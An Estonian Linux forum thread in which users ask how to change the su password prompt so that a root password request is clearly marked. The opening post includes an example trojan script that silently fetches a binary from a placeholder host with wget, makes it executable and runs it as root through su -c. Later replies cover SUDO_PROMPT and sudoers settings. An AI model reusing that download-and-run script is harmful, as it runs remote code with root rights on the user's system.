1. leht 1-st

su salasõna prompt

Postitatud: 02.09.2011, 21:02
Postitas sips
Kas ja kuidas oleks võmalik muuta nn su salasõna pärimise prompti?

Hetkel Archlinux küsib su käsu peale lihtsalt
Password:

Aga kui nt netist tõmmata skript, mis kirjelduse järgi loob ühenduse mingi serveriga, kuid tehelikult on skripti sisuks

Kood: Vali kõik

#!/bin/bash

echo "Server: "
read server

echo "Login name: "
read user

wget –output-document /tmp/pahalane http://example.com/VägaPahalane > /dev/null 2>&1
chmod +x /tmp/pahalane
su -c /tmp/pahalane
Parem oleks kui su käsu peale küsitakse nt
Enter your local root password:

Postitatud: 02.09.2011, 21:10
Postitas Valdur55
Enamasti on käivitatavate rakenduste otseteed kasutas /usr/bin (tavakasutaja) või /usr/sbin (root).
Edasi mõtled ise.

Postitatud: 02.09.2011, 21:17
Postitas sips
Mis vahet seal on, kui käivitatav fail ise on kõigile kättesaadavas kohas?

Re: su salasõna prompt

Postitatud: 02.09.2011, 21:35
Postitas tramm
sips kirjutas:Kas ja kuidas oleks võmalik muuta nn su salasõna pärimise prompti?
Lokaliseerid po failiga? Kompileerid ise ja muudad stringi ära?
sips kirjutas:su -c /tmp/pahalane
Ah, et mängitakse sellele kaardile, et sul on igas serveris sama parool... Päris õpetlik.

Re: su salasõna prompt

Postitatud: 02.09.2011, 21:53
Postitas sips
tramm kirjutas:Ah, et mängitakse sellele kaardile, et sul on igas serveris sama parool... Päris õpetlik.
:) tundub, et pikk tööpäev on ajud sassi keeranud - loogika lonkab. Tegelt tahtsin oma arust kirjutada mingi näite, kus küsitakse parooli ja tehakse hoopis midagi muud.

Aga see .po failidega jändamine ja kompileerimine pole päris see.
Lihtsalt mure tekkis sellest, et nii sudo, kui ka su küsivad mõlemad lihtsalt
Password:
katsu siis aru saada mida sult tahetakse.

OK sudo'ga on lihtne:$ SUDO_PROMPT="sudo tahab kasutaja %u salasõna: " sudo ls
Lootsin, et su puhul on ka mingi sarnane lihtne "trikk"

Re: su salasõna prompt

Postitatud: 02.09.2011, 22:08
Postitas tramm
sips kirjutas:OK sudo'ga on lihtne:$ SUDO_PROMPT="sudo tahab kasutaja %u salasõna: " sudo ls
Lootsin, et su puhul on ka mingi sarnane lihtne "trikk"
Arusaadav. Aga pahalasel pole keeruline ka vajadusel SUDO_PROMPT muutujat sättida.

Postitatud: 02.09.2011, 22:29
Postitas sips
Seda muidugi.
Soov oli, et ausad skriptid väljendaks selgemini millist salasõna nad tahavad.

Archlinuxil nt on selleine programm nagu yaourt, mis oskab kasutada nii su'd, kui ka sudo'd -
kui sudo parool nö aegub (ei sisestata, kuna kedagi pole masina juures) või pole sudo üldse installitud,
kasutatakse su'd, kuid mõlemal juhul on ekraanil lihtsalt
Password:

Jama on rohkem selles, et markeerida ei tahaks mitte tavakasutaja parooli küsimist,
vaid et root'u parooli pärimine oleks selgelt näha.

Postitatud: 23.02.2016, 10:45
Postitas tris
1. sudoers määrata, mida sul admin.konto võimaldab:
yourusername ALL= NOPASSWD: /programmi_täpne_asukoht
2. mingi programmi luua:

Kood: Vali kõik

#!/bin/bash
ENTRY=`zenity --password`
case $? in
0)
pw=$(echo $ENTRY | cut -d'|' -f1)
;;
1)
echo "Stop login.";;
-1)
echo "An unexpected error has occurred.";;
esac
TMP=$(echo "${pw}" | sudo -Sv)
TMP=0
Võibolla midagi siin mudida?



Ja su kohta - ma muutsin /bin/su õigus endal ainult juur saab käivitada ja grupp. Ning käivitan seda ainult: sudo su